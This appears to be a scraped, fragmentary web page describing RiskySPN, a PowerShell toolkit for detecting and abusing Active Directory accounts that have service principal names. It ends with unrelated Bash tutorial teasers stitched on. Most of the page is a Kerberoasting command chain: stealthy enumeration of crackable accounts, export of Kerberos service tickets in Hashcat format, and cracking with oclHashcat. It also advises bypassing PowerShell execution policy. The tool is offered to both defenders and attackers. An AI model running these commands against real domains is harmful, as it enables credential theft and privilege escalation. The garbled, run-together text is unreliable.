RiskySPN is a collection of PowerShell scripts focused on detecting and abusing accounts associated with SPNs (Service Principal Name). This module can assist blue teams to identify potentially risky SPNs as well as red teams to escalate privileges by leveraging Kerberos and Active Directory.
Import-Module .\RiskySPNs.psm1 IEX from the web). .\Find-PotentiallyCrackableAccounts.ps1 Make sure Set-ExecutionPolicy is Unrestricted or Bypass
Get-Help Get-TGSCipher -Full All functions also have the -Verbosemode
Find-PotentiallyCrackableAccounts Sensitive + RC4 = $$$
Export-PotentiallyCrackableAccounts Get-TGSCipher -SPN "MSSQLSvc/prodDB.company.com:1433" Find-PotentiallyCrackableAccounts -Stealth -GetSPNs | Get-TGSCipher Find-PotentiallyCrackableAccounts -Sensitive -Stealth -GetSPNs | Get-TGSCipher -Format "Hashcat" | Out-File crack.txt
oclHashcat64.exe -m 13100 crack.txt -a 3 Introduction Bash scripting is a powerful way to automate Linux tasks, but writing a script…
Introduction A self-signed SSL certificate is a certificate that is created and signed by the…
Introduction Debugging is an important part of Bash scripting. When a script does not work…
Introduction Cron jobs are used in Linux to run commands or Bash scripts automatically at…
Introduction Pipes are an important feature in Linux and Bash scripting. A pipe allows you…
Introduction The grep, awk, and sed commands are powerful text-processing tools in Linux. They are…